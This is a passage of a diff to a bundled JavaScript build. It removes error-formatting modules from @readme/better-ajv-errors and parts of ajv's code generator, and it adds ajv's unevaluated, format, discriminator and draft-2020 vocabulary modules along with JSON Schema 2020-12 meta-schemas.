_isNativeReflectConstruct4() { - return !!t8; - })(); - } - var UnevaluatedPropValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { - function UnevaluatedPropValidationError2() { - var _this; - (0, _classCallCheck22["default"])(this, UnevaluatedPropValidationError2); - for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { - args[_key] = arguments[_key]; - } - _this = _callSuper(this, UnevaluatedPropValidationError2, [].concat(args)); - _this.name = "UnevaluatedPropValidationError"; - _this.options.isIdentifierLocation = true; - return _this; - } - (0, _inherits22["default"])(UnevaluatedPropValidationError2, _BaseValidationError); - return (0, _createClass22["default"])(UnevaluatedPropValidationError2, [{ - key: "print", - value: function print() { - var _this$options = this.options, message = _this$options.message, params = _this$options.params; - var colorizer = this.getColorizer(); - var output = ["".concat(colorizer.red("".concat(colorizer.bold("UNEVALUATED PROPERTY"), " ").concat(message)), "\n")]; - return output.concat(this.getCodeFrame("".concat(colorizer.magentaBright(params.unevaluatedProperty), " is not expected to be here!"), "".concat(this.instancePath, "/").concat(params.unevaluatedProperty))); - } - }, { - key: "getError", - value: function getError() { - var params = this.options.params; - return _objectSpread(_objectSpread({}, this.getLocation("".concat(this.instancePath, "/").concat(params.unevaluatedProperty))), {}, { - error: "".concat(this.getDecoratedPath(), " Property ").concat(params.unevaluatedProperty, " is not expected to be here"), - path: this.instancePath - }); - } - }]); - }(_base["default"]); - module5.exports = exports28.default; + Object.defineProperty(exports28, "__esModule", { value: true }); + var dependentRequired_1 = require_dependentRequired(); + var dependentSchemas_1 = require_dependentSchemas(); + var limitContains_1 = require_limitContains(); + var next = [dependentRequired_1.default, dependentSchemas_1.default, limitContains_1.default]; + exports28.default = next; } }); -// node_modules/@readme/better-ajv-errors/lib/validation-errors/index.js -var require_validation_errors = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/validation-errors/index.js"(exports28) { +// node_modules/ajv/dist/vocabularies/unevaluated/unevaluatedProperties.js +var require_unevaluatedProperties = __commonJS({ + "node_modules/ajv/dist/vocabularies/unevaluated/unevaluatedProperties.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - Object.defineProperty(exports28, "AdditionalPropValidationError", { - enumerable: true, - get: function get4() { - return _additionalProp["default"]; - } - }); - Object.defineProperty(exports28, "DefaultValidationError", { - enumerable: true, - get: function get4() { - return _default2["default"]; - } - }); - Object.defineProperty(exports28, "EnumValidationError", { - enumerable: true, - get: function get4() { - return _enum["default"]; - } - }); - Object.defineProperty(exports28, "PatternValidationError", { - enumerable: true, - get: function get4() { - return _pattern["default"]; - } - }); - Object.defineProperty(exports28, "RequiredValidationError", { - enumerable: true, - get: function get4() { - return _required["default"]; - } - }); - Object.defineProperty(exports28, "UnevaluatedPropValidationError", { - enumerable: true, - get: function get4() { - return _unevaluatedProp["default"]; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var names_1 = require_names(); + var error2 = { + message: "must NOT have unevaluated properties", + params: ({ params }) => (0, codegen_1._)`{unevaluatedProperty: ${params.unevaluatedProperty}}` + }; + var def = { + keyword: "unevaluatedProperties", + type: "object", + schemaType: ["boolean", "object"], + trackErrors: true, + error: error2, + code(cxt) { + const { gen, schema: schema8, data, errsCount, it: it2 } = cxt; + if (!errsCount) + throw new Error("ajv implementation error"); + const { allErrors, props } = it2; + if (props instanceof codegen_1.Name) { + gen.if((0, codegen_1._)`${props} !== true`, () => gen.forIn("key", data, (key) => gen.if(unevaluatedDynamic(props, key), () => unevaluatedPropCode(key)))); + } else if (props !== true) { + gen.forIn("key", data, (key) => props === void 0 ? unevaluatedPropCode(key) : gen.if(unevaluatedStatic(props, key), () => unevaluatedPropCode(key))); + } + it2.props = true; + cxt.ok((0, codegen_1._)`${errsCount} === ${names_1.default.errors}`); + function unevaluatedPropCode(key) { + if (schema8 === false) { + cxt.setParams({ unevaluatedProperty: key }); + cxt.error(); + if (!allErrors) + gen.break(); + return; + } + if (!(0, util_1.alwaysValidSchema)(it2, schema8)) { + const valid = gen.name("valid"); + cxt.subschema({ + keyword: "unevaluatedProperties", + dataProp: key, + dataPropType: util_1.Type.Str + }, valid); + if (!allErrors) + gen.if((0, codegen_1.not)(valid), () => gen.break()); + } + } + function unevaluatedDynamic(evaluatedProps, key) { + return (0, codegen_1._)`!${evaluatedProps} || !${evaluatedProps}[${key}]`; + } + function unevaluatedStatic(evaluatedProps, key) { + const ps = []; + for (const p7 in evaluatedProps) { + if (evaluatedProps[p7] === true) + ps.push((0, codegen_1._)`${key} !== ${p7}`); + } + return (0, codegen_1.and)(...ps); + } } - }); - var _additionalProp = _interopRequireDefault(require_additional_prop()); - var _default2 = _interopRequireDefault(require_default()); - var _enum = _interopRequireDefault(require_enum()); - var _pattern = _interopRequireDefault(require_pattern()); - var _required = _interopRequireDefault(require_required()); - var _unevaluatedProp = _interopRequireDefault(require_unevaluated_prop()); + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/helpers.js -var require_helpers = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/helpers.js"(exports28) { +// node_modules/ajv/dist/vocabularies/unevaluated/unevaluatedItems.js +var require_unevaluatedItems = __commonJS({ + "node_modules/ajv/dist/vocabularies/unevaluated/unevaluatedItems.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28.createErrorInstances = createErrorInstances; - exports28["default"] = prettify2; - exports28.filterRedundantErrors = filterRedundantErrors; - exports28.makeTree = makeTree; - var _defineProperty2 = _interopRequireDefault(require_defineProperty()); - var _toConsumableArray22 = _interopRequireDefault(require_toConsumableArray()); - var _slicedToArray2 = _interopRequireDefault(require_slicedToArray()); - var _utils = require_utils(); - var _validationErrors = require_validation_errors(); - function ownKeys2(e10, r8) { - var t8 = Object.keys(e10); - if (Object.getOwnPropertySymbols) { - var o7 = Object.getOwnPropertySymbols(e10); - r8 && (o7 = o7.filter(function(r9) { - return Object.getOwnPropertyDescriptor(e10, r9).enumerable; - })), t8.push.apply(t8, o7); - } - return t8; - } - function _objectSpread(e10) { - for (var r8 = 1; r8 < arguments.length; r8++) { - var t8 = null != arguments[r8] ? arguments[r8] : {}; - r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { - (0, _defineProperty2["default"])(e10, r9, t8[r9]); - }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { - Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); - }); - } - return e10; - } - var JSON_POINTERS_REGEX = /\/[\w_-]+(\/\d+)?/g; - function makeTree() { - var ajvErrors5 = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : []; - var root2 = { - children: {} - }; - ajvErrors5.forEach(function(ajvError) { - var instancePath = typeof ajvError.instancePath !== "undefined" ? ajvError.instancePath : ajvError.dataPath; - var paths = instancePath === "" ? [""] : instancePath.match(JSON_POINTERS_REGEX); - if (paths) { - paths.reduce(function(obj, path2, i7) { - obj.children[path2] = obj.children[path2] || { - children: {}, - errors: [] - }; - if (i7 === paths.length - 1) { - obj.children[path2].errors.push(ajvError); - } - return obj.children[path2]; - }, root2); - } - }); - return root2; - } - function filterRedundantErrors(root2, parent2, key) { - (0, _utils.getErrors)(root2).forEach(function(error2) { - if ((0, _utils.isRequiredError)(error2)) { - root2.errors = [error2]; - root2.children = {}; - } - }); - if ((0, _utils.getErrors)(root2).some(_utils.isAnyOfError)) { - if (Object.keys(root2.children).length > 0) { - delete root2.errors; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error2 = { + message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, + params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` + }; + var def = { + keyword: "unevaluatedItems", + type: "array", + schemaType: ["boolean", "object"], + error: error2, + code(cxt) { + const { gen, schema: schema8, data, it: it2 } = cxt; + const items = it2.items || 0; + if (items === true) + return; + const len = gen.const("len", (0, codegen_1._)`${data}.length`); + if (schema8 === false) { + cxt.setParams({ len: items }); + cxt.fail((0, codegen_1._)`${len} > ${items}`); + } else if (typeof schema8 == "object" && !(0, util_1.alwaysValidSchema)(it2, schema8)) { + const valid = gen.var("valid", (0, codegen_1._)`${len} <= ${items}`); + gen.if((0, codegen_1.not)(valid), () => validateItems(valid, items)); + cxt.ok(valid); } - } - if (root2.errors && root2.errors.length && (0, _utils.getErrors)(root2).every(_utils.isEnumError)) { - if ((0, _utils.getSiblings)(parent2)(root2).filter(_utils.notUndefined).some(_utils.getErrors)) { - delete parent2.children[key]; + it2.items = true; + function validateItems(valid, from) { + gen.forRange("i", from, len, (i7) => { + cxt.subschema({ keyword: "unevaluatedItems", dataProp: i7, dataPropType: util_1.Type.Num }, valid); + if (!it2.allErrors) + gen.if((0, codegen_1.not)(valid), () => gen.break()); + }); } } - Object.entries(root2.children).forEach(function(_ref) { - var _ref2 = (0, _slicedToArray2["default"])(_ref, 2), k6 = _ref2[0], child = _ref2[1]; - return filterRedundantErrors(child, root2, k6); - }); - } - function createErrorInstances(root2, options) { - var errors = (0, _utils.getErrors)(root2); - if (errors.length && errors.every(_utils.isEnumError)) { - var uniqueValues = new Set((0, _utils.concatAll)([])(errors.map(function(e10) { - return e10.params.allowedValues; - }))); - var allowedValues = (0, _toConsumableArray22["default"])(uniqueValues); - var error2 = errors[0]; - return [new _validationErrors.EnumValidationError(_objectSpread(_objectSpread({}, error2), {}, { - params: { - allowedValues - } - }), options)]; - } - return (0, _utils.concatAll)(errors.reduce(function(ret, error3) { - switch (error3.keyword) { - case "additionalProperties": - return ret.concat(new _validationErrors.AdditionalPropValidationError(error3, options)); - case "pattern": - return ret.concat(new _validationErrors.PatternValidationError(error3, options)); - case "required": - return ret.concat(new _validationErrors.RequiredValidationError(error3, options)); - case "unevaluatedProperties": - return ret.concat(new _validationErrors.UnevaluatedPropValidationError(error3, options)); - default: - return ret.concat(new _validationErrors.DefaultValidationError(error3, options)); - } - }, []))((0, _utils.getChildren)(root2).map(function(child) { - return createErrorInstances(child, options); - })); - } - function prettify2(ajvErrors5, options) { - var tree = makeTree(ajvErrors5 || []); - filterRedundantErrors(tree); - return createErrorInstances(tree, options); - } + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/index.js -var require_lib3 = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/index.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/unevaluated/index.js +var require_unevaluated = __commonJS({ + "node_modules/ajv/dist/vocabularies/unevaluated/index.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = betterAjvErrors2; - var _momoa = require_api(); - var _helpers = _interopRequireDefault(require_helpers()); - function betterAjvErrors2(schema8, data, errors) { - var options = arguments.length > 3 && arguments[3] !== void 0 ? arguments[3] : {}; - var _options$colorize = options.colorize, colorize = _options$colorize === void 0 ? true : _options$colorize, _options$format = options.format, format5 = _options$format === void 0 ? "cli" : _options$format, _options$indent = options.indent, indent = _options$indent === void 0 ? null : _options$indent, _options$json = options.json, json2 = _options$json === void 0 ? null : _options$json; - var jsonRaw = json2 || JSON.stringify(data, null, indent); - var jsonAst = (0, _momoa.parse)(jsonRaw); - var customErrorToText = function customErrorToText2(error2) { - return error2.print().join("\n"); - }; - var customErrorToStructure = function customErrorToStructure2(error2) { - return error2.getError(); - }; - var customErrors = (0, _helpers["default"])(errors, { - colorize, - data, - schema: schema8, - jsonAst, - jsonRaw - }); - if (format5 === "cli") { - return customErrors.map(customErrorToText).join("\n\n"); - } else if (format5 === "cli-array") { - return customErrors.map(function(error2) { - return { - message: customErrorToText(error2) - }; - }); - } - return customErrors.map(customErrorToStructure); - } - module5.exports = exports28.default; + Object.defineProperty(exports28, "__esModule", { value: true }); + var unevaluatedProperties_1 = require_unevaluatedProperties(); + var unevaluatedItems_1 = require_unevaluatedItems(); + var unevaluated = [unevaluatedProperties_1.default, unevaluatedItems_1.default]; + exports28.default = unevaluated; } }); -// node_modules/ajv/dist/compile/codegen/code.js -var require_code = __commonJS({ - "node_modules/ajv/dist/compile/codegen/code.js"(exports28) { +// node_modules/ajv/dist/vocabularies/format/format.js +var require_format = __commonJS({ + "node_modules/ajv/dist/vocabularies/format/format.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.regexpCode = exports28.getEsmExportName = exports28.getProperty = exports28.safeStringify = exports28.stringify = exports28.strConcat = exports28.addCodeArg = exports28.str = exports28._ = exports28.nil = exports28._Code = exports28.Name = exports28.IDENTIFIER = exports28._CodeOrName = void 0; - var _CodeOrName = class { - }; - exports28._CodeOrName = _CodeOrName; - exports28.IDENTIFIER = /^[a-z$_][a-z$_0-9]*$/i; - var Name = class extends _CodeOrName { - constructor(s7) { - super(); - if (!exports28.IDENTIFIER.test(s7)) - throw new Error("CodeGen: name must be a valid identifier"); - this.str = s7; - } - toString() { - return this.str; - } - emptyStr() { - return false; - } - get names() { - return { [this.str]: 1 }; - } - }; - exports28.Name = Name; - var _Code = class extends _CodeOrName { - constructor(code) { - super(); - this._items = typeof code === "string" ? [code] : code; - } - toString() { - return this.str; - } - emptyStr() { - if (this._items.length > 1) - return false; - const item = this._items[0]; - return item === "" || item === '""'; - } - get str() { - var _a2; - return (_a2 = this._str) !== null && _a2 !== void 0 ? _a2 : this._str = this._items.reduce((s7, c7) => `${s7}${c7}`, ""); - } - get names() { - var _a2; - return (_a2 = this._names) !== null && _a2 !== void 0 ? _a2 : this._names = this._items.reduce((names, c7) => { - if (c7 instanceof Name) - names[c7.str] = (names[c7.str] || 0) + 1; - return names; - }, {}); - } + var codegen_1 = require_codegen(); + var error2 = { + message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, + params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; - exports28._Code = _Code; - exports28.nil = new _Code(""); - function _6(strs, ...args) { - const code = [strs[0]]; - let i7 = 0; - while (i7 < args.length) { - addCodeArg(code, args[i7]); - code.push(strs[++i7]); - } - return new _Code(code); - } - exports28._ = _6; - var plus = new _Code("+"); - function str2(strs, ...args) { - const expr = [safeStringify2(strs[0])]; - let i7 = 0; - while (i7 < args.length) { - expr.push(plus); - addCodeArg(expr, args[i7]); - expr.push(plus, safeStringify2(strs[++i7])); - } - optimize(expr); - return new _Code(expr); - } - exports28.str = str2; - function addCodeArg(code, arg) { - if (arg instanceof _Code) - code.push(...arg._items); - else if (arg instanceof Name) - code.push(arg); - else - code.push(interpolate(arg)); - } - exports28.addCodeArg = addCodeArg; - function optimize(expr) { - let i7 = 1; - while (i7 < expr.length - 1) { - if (expr[i7] === plus) { - const res = mergeExprItems(expr[i7 - 1], expr[i7 + 1]); - if (res !== void 0) { - expr.splice(i7 - 1, 3, res); - continue; + var def = { + keyword: "format", + type: ["number", "string"], + schemaType: "string", + $data: true, + error: error2, + code(cxt, ruleType) { + const { gen, data, $data, schema: schema8, schemaCode, it: it2 } = cxt; + const { opts, errSchemaPath, schemaEnv, self: self2 } = it2; + if (!opts.validateFormats) + return; + if ($data) + validate$DataFormat(); + else + validateFormat(); + function validate$DataFormat() { + const fmts = gen.scopeValue("formats", { + ref: self2.formats, + code: opts.code.formats + }); + const fDef = gen.const("fDef", (0, codegen_1._)`${fmts}[${schemaCode}]`); + const fType = gen.let("fType"); + const format5 = gen.let("format"); + gen.if((0, codegen_1._)`typeof ${fDef} == "object" && !(${fDef} instanceof RegExp)`, () => gen.assign(fType, (0, codegen_1._)`${fDef}.type || "string"`).assign(format5, (0, codegen_1._)`${fDef}.validate`), () => gen.assign(fType, (0, codegen_1._)`"string"`).assign(format5, fDef)); + cxt.fail$data((0, codegen_1.or)(unknownFmt(), invalidFmt())); + function unknownFmt() { + if (opts.strictSchema === false) + return codegen_1.nil; + return (0, codegen_1._)`${schemaCode} && !${format5}`; + } + function invalidFmt() { + const callFormat = schemaEnv.$async ? (0, codegen_1._)`(${fDef}.async ? await ${format5}(${data}) : ${format5}(${data}))` : (0, codegen_1._)`${format5}(${data})`; + const validData = (0, codegen_1._)`(typeof ${format5} == "function" ? ${callFormat} : ${format5}.test(${data}))`; + return (0, codegen_1._)`${format5} && ${format5} !== true && ${fType} === ${ruleType} && !${validData}`; + } + } + function validateFormat() { + const formatDef = self2.formats[schema8]; + if (!formatDef) { + unknownFormat(); + return; + } + if (formatDef === true) + return; + const [fmtType, format5, fmtRef] = getFormat(formatDef); + if (fmtType === ruleType) + cxt.pass(validCondition()); + function unknownFormat() { + if (opts.strictSchema === false) { + self2.logger.warn(unknownMsg()); + return; + } + throw new Error(unknownMsg()); + function unknownMsg() { + return `unknown format "${schema8}" ignored in schema at path "${errSchemaPath}"`; + } + } + function getFormat(fmtDef) { + const code = fmtDef instanceof RegExp ? (0, codegen_1.regexpCode)(fmtDef) : opts.code.formats ? (0, codegen_1._)`${opts.code.formats}${(0, codegen_1.getProperty)(schema8)}` : void 0; + const fmt = gen.scopeValue("formats", { key: schema8, ref: fmtDef, code }); + if (typeof fmtDef == "object" && !(fmtDef instanceof RegExp)) { + return [fmtDef.type || "string", fmtDef.validate, (0, codegen_1._)`${fmt}.validate`]; + } + return ["string", fmtDef, fmt]; + } + function validCondition() { + if (typeof formatDef == "object" && !(formatDef instanceof RegExp) && formatDef.async) { + if (!schemaEnv.$async) + throw new Error("async format in sync schema"); + return (0, codegen_1._)`await ${fmtRef}(${data})`; + } + return typeof format5 == "function" ? (0, codegen_1._)`${fmtRef}(${data})` : (0, codegen_1._)`${fmtRef}.test(${data})`; } - expr[i7++] = "+"; } - i7++; - } - } - function mergeExprItems(a7, b8) { - if (b8 === '""') - return a7; - if (a7 === '""') - return b8; - if (typeof a7 == "string") { - if (b8 instanceof Name || a7[a7.length - 1] !== '"') - return; - if (typeof b8 != "string") - return `${a7.slice(0, -1)}${b8}"`; - if (b8[0] === '"') - return a7.slice(0, -1) + b8.slice(1); - return; - } - if (typeof b8 == "string" && b8[0] === '"' && !(a7 instanceof Name)) - return `"${a7}${b8.slice(1)}`; - return; - } - function strConcat(c1, c22) { - return c22.emptyStr() ? c1 : c1.emptyStr() ? c22 : str2`${c1}${c22}`; - } - exports28.strConcat = strConcat; - function interpolate(x7) { - return typeof x7 == "number" || typeof x7 == "boolean" || x7 === null ? x7 : safeStringify2(Array.isArray(x7) ? x7.join(",") : x7); - } - function stringify5(x7) { - return new _Code(safeStringify2(x7)); - } - exports28.stringify = stringify5; - function safeStringify2(x7) { - return JSON.stringify(x7).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029"); - } - exports28.safeStringify = safeStringify2; - function getProperty(key) { - return typeof key == "string" && exports28.IDENTIFIER.test(key) ? new _Code(`.${key}`) : _6`[${key}]`; - } - exports28.getProperty = getProperty; - function getEsmExportName(key) { - if (typeof key == "string" && exports28.IDENTIFIER.test(key)) { - return new _Code(`${key}`); } - throw new Error(`CodeGen: invalid export name: ${key}, use explicit $id name mapping`); - } - exports28.getEsmExportName = getEsmExportName; - function regexpCode(rx) { - return new _Code(rx.toString()); - } - exports28.regexpCode = regexpCode; + }; + exports28.default = def; } }); -// node_modules/ajv/dist/compile/codegen/scope.js -var require_scope = __commonJS({ - "node_modules/ajv/dist/compile/codegen/scope.js"(exports28) { +// node_modules/ajv/dist/vocabularies/format/index.js +var require_format2 = __commonJS({ + "node_modules/ajv/dist/vocabularies/format/index.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.ValueScope = exports28.ValueScopeName = exports28.Scope = exports28.varKinds = exports28.UsedValueState = void 0; - var code_1 = require_code(); - var ValueError = class extends Error { - constructor(name2) { - super(`CodeGen: "code" for ${name2} not defined`); - this.value = name2.value; - } - }; - var UsedValueState; - (function(UsedValueState2) { - UsedValueState2[UsedValueState2["Started"] = 0] = "Started"; - UsedValueState2[UsedValueState2["Completed"] = 1] = "Completed"; - })(UsedValueState || (exports28.UsedValueState = UsedValueState = {})); - exports28.varKinds = { - const: new code_1.Name("const"), - let: new code_1.Name("let"), - var: new code_1.Name("var") + var format_1 = require_format(); + var format5 = [format_1.default]; + exports28.default = format5; + } +}); + +// node_modules/ajv/dist/vocabularies/metadata.js +var require_metadata = __commonJS({ + "node_modules/ajv/dist/vocabularies/metadata.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.contentVocabulary = exports28.metadataVocabulary = void 0; + exports28.metadataVocabulary = [ + "title", + "description", + "default", + "deprecated", + "readOnly", + "writeOnly", + "examples" + ]; + exports28.contentVocabulary = [ + "contentMediaType", + "contentEncoding", + "contentSchema" + ]; + } +}); + +// node_modules/ajv/dist/vocabularies/draft2020.js +var require_draft2020 = __commonJS({ + "node_modules/ajv/dist/vocabularies/draft2020.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var core_1 = require_core2(); + var validation_1 = require_validation(); + var applicator_1 = require_applicator(); + var dynamic_1 = require_dynamic(); + var next_1 = require_next(); + var unevaluated_1 = require_unevaluated(); + var format_1 = require_format2(); + var metadata_1 = require_metadata(); + var draft2020Vocabularies = [ + dynamic_1.default, + core_1.default, + validation_1.default, + (0, applicator_1.default)(true), + format_1.default, + metadata_1.metadataVocabulary, + metadata_1.contentVocabulary, + next_1.default, + unevaluated_1.default + ]; + exports28.default = draft2020Vocabularies; + } +}); + +// node_modules/ajv/dist/vocabularies/discriminator/types.js +var require_types = __commonJS({ + "node_modules/ajv/dist/vocabularies/discriminator/types.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.DiscrError = void 0; + var DiscrError; + (function(DiscrError2) { + DiscrError2["Tag"] = "tag"; + DiscrError2["Mapping"] = "mapping"; + })(DiscrError || (exports28.DiscrError = DiscrError = {})); + } +}); + +// node_modules/ajv/dist/vocabularies/discriminator/index.js +var require_discriminator = __commonJS({ + "node_modules/ajv/dist/vocabularies/discriminator/index.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var types_1 = require_types(); + var compile_1 = require_compile(); + var ref_error_1 = require_ref_error(); + var util_1 = require_util(); + var error2 = { + message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, + params: ({ params: { discrError, tag, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag}}` }; - var Scope = class { - constructor({ prefixes, parent: parent2 } = {}) { - this._names = {}; - this._prefixes = prefixes; - this._parent = parent2; - } - toName(nameOrPrefix) { - return nameOrPrefix instanceof code_1.Name ? nameOrPrefix : this.name(nameOrPrefix); - } - name(prefix) { - return new code_1.Name(this._newName(prefix)); - } - _newName(prefix) { - const ng = this._names[prefix] || this._nameGroup(prefix); - return `${prefix}${ng.index++}`; - } - _nameGroup(prefix) { - var _a2, _b; - if (((_b = (_a2 = this._parent) === null || _a2 === void 0 ? void 0 : _a2._prefixes) === null || _b === void 0 ? void 0 : _b.has(prefix)) || this._prefixes && !this._prefixes.has(prefix)) { - throw new Error(`CodeGen: prefix "${prefix}" is not allowed in this scope`); + var def = { + keyword: "discriminator", + type: "object", + schemaType: "object", + error: error2, + code(cxt) { + const { gen, data, schema: schema8, parentSchema, it: it2 } = cxt; + const { oneOf } = parentSchema; + if (!it2.opts.discriminator) { + throw new Error("discriminator: requires discriminator option"); + } + const tagName = schema8.propertyName; + if (typeof tagName != "string") + throw new Error("discriminator: requires propertyName"); + if (schema8.mapping) + throw new Error("discriminator: mapping is not supported"); + if (!oneOf) + throw new Error("discriminator: requires oneOf keyword"); + const valid = gen.let("valid", false); + const tag = gen.const("tag", (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(tagName)}`); + gen.if((0, codegen_1._)`typeof ${tag} == "string"`, () => validateMapping(), () => cxt.error(false, { discrError: types_1.DiscrError.Tag, tag, tagName })); + cxt.ok(valid); + function validateMapping() { + const mapping = getMapping(); + gen.if(false); + for (const tagValue in mapping) { + gen.elseIf((0, codegen_1._)`${tag} === ${tagValue}`); + gen.assign(valid, applyTagSchema(mapping[tagValue])); + } + gen.else(); + cxt.error(false, { discrError: types_1.DiscrError.Mapping, tag, tagName }); + gen.endIf(); + } + function applyTagSchema(schemaProp) { + const _valid = gen.name("valid"); + const schCxt = cxt.subschema({ keyword: "oneOf", schemaProp }, _valid); + cxt.mergeEvaluated(schCxt, codegen_1.Name); + return _valid; + } + function getMapping() { + var _a2; + const oneOfMapping = {}; + const topRequired = hasRequired(parentSchema); + let tagRequired = true; + for (let i7 = 0; i7 < oneOf.length; i7++) { + let sch = oneOf[i7]; + if ((sch === null || sch === void 0 ? void 0 : sch.$ref) && !(0, util_1.schemaHasRulesButRef)(sch, it2.self.RULES)) { + const ref = sch.$ref; + sch = compile_1.resolveRef.call(it2.self, it2.schemaEnv.root, it2.baseId, ref); + if (sch instanceof compile_1.SchemaEnv) + sch = sch.schema; + if (sch === void 0) + throw new ref_error_1.default(it2.opts.uriResolver, it2.baseId, ref); + } + const propSch = (_a2 = sch === null || sch === void 0 ? void 0 : sch.properties) === null || _a2 === void 0 ? void 0 : _a2[tagName]; + if (typeof propSch != "object") { + throw new Error(`discriminator: oneOf subschemas (or referenced schemas) must have "properties/${tagName}"`); + } + tagRequired = tagRequired && (topRequired || hasRequired(sch)); + addMappings(propSch, i7); + } + if (!tagRequired) + throw new Error(`discriminator: "${tagName}" must be required`); + return oneOfMapping; + function hasRequired({ required }) { + return Array.isArray(required) && required.includes(tagName); + } + function addMappings(sch, i7) { + if (sch.const) { + addMapping(sch.const, i7); + } else if (sch.enum) { + for (const tagValue of sch.enum) { + addMapping(tagValue, i7); + } + } else { + throw new Error(`discriminator: "properties/${tagName}" must have "const" or "enum"`); + } + } + function addMapping(tagValue, i7) { + if (typeof tagValue != "string" || tagValue in oneOfMapping) { + throw new Error(`discriminator: "${tagName}" values must be unique strings`); + } + oneOfMapping[tagValue] = i7; + } } - return this._names[prefix] = { prefix, index: 0 }; } }; - exports28.Scope = Scope; - var ValueScopeName = class extends code_1.Name { - constructor(prefix, nameStr) { - super(nameStr); - this.prefix = prefix; - } - setValue(value2, { property: property2, itemIndex }) { - this.value = value2; - this.scopePath = (0, code_1._)`.${new code_1.Name(property2)}[${itemIndex}]`; + exports28.default = def; + } +}); + +// node_modules/ajv/dist/refs/json-schema-2020-12/schema.json +var require_schema = __commonJS({ + "node_modules/ajv/dist/refs/json-schema-2020-12/schema.json"(exports28, module5) { + module5.exports = { + $schema: "https://json-schema.org/draft/2020-12/schema", + $id: "https://json-schema.org/draft/2020-12/schema", + $vocabulary: { + "https://json-schema.org/draft/2020-12/vocab/core": true, + "https://json-schema.org/draft/2020-12/vocab/applicator": true, + "https://json-schema.org/draft/2020-12/vocab/unevaluated": true, + "https://json-schema.org/draft/2020-12/vocab/validation": true, + "https://json-schema.org/draft/2020-12/vocab/meta-data": true, + "https://json-schema.org/draft/2020-12/vocab/format-annotation": true, + "https://json-schema.org/draft/2020-12/vocab/content": true + }, + $dynamicAnchor: "meta", + title: "Core and Validation specifications meta-schema", + allOf: [ + { $ref: "meta/core" }, + { $ref: "meta/applicator" }, + { $ref: "meta/unevaluated" }, + { $ref: "meta/validation" }, + { $ref: "meta/meta-data" }, + { $ref: "meta/format-annotation" }, + { $ref: "meta/content" } + ], + type: ["object", "boolean"], + $comment: "This meta-schema also defines keywords that have appeared in previous drafts in order to prevent incompatible extensions as they remain in common use.", + properties: { + definitions: { + $comment: '"definitions" has been replaced by "$defs".', + type: "object", + additionalProperties: { $dynamicRef: "#meta" }, + deprecated: true, + default: {} + }, + dependencies: { + $comment: '"dependencies" has been split and replaced by "dependentSchemas" and "dependentRequired" in order to serve their differing semantics.', + type: "object", + additionalProperties: { + anyOf: [{ $dynamicRef: "#meta" }, { $ref: "meta/validation#/$defs/stringArray" }] + }, + deprecated: true, + default: {} + }, + $recursiveAnchor: { + $comment: '"$recursiveAnchor" has been replaced by "$dynamicAnchor".', + $ref: "meta/core#/$defs/anchorString", + deprecated: true + }, + $recursiveRef: { + $comment: '"$recursiveRef" has been replaced by "$dynamicRef".', + $ref: "meta/core#/$defs/uriReferenceString", + deprecated: true + } } }; - exports28.ValueScopeName = ValueScopeName; - var line = (0, code_1._)`\n`; - var ValueScope = class extends Scope { - constructor(opts) { - super(opts); - this._values = {}; - this._scope = opts.scope; - this.opts = { ...opts, _n: opts.lines ? line : code_1.nil }; + } +}); + +// node_modules/ajv/dist/refs/json-schema-2020-12/meta/applicator.json +var require_applicator2 = __commonJS({ + "node_modules/ajv/dist/refs/json-schema-2020-12/meta/applicator.json"(exports28, module5) { + module5.exports = { + $schema: "https://json-schema.org/draft/2020-12/schema", + $id: "https://json-schema.org/draft/2020-12/meta/applicator", + $vocabulary: { + "https://json-schema.org/draft/2020-12/vocab/applicator": true + }, + $dynamicAnchor: "meta", + title: "Applicator vocabulary meta-schema", + type: ["object", "boolean"], + 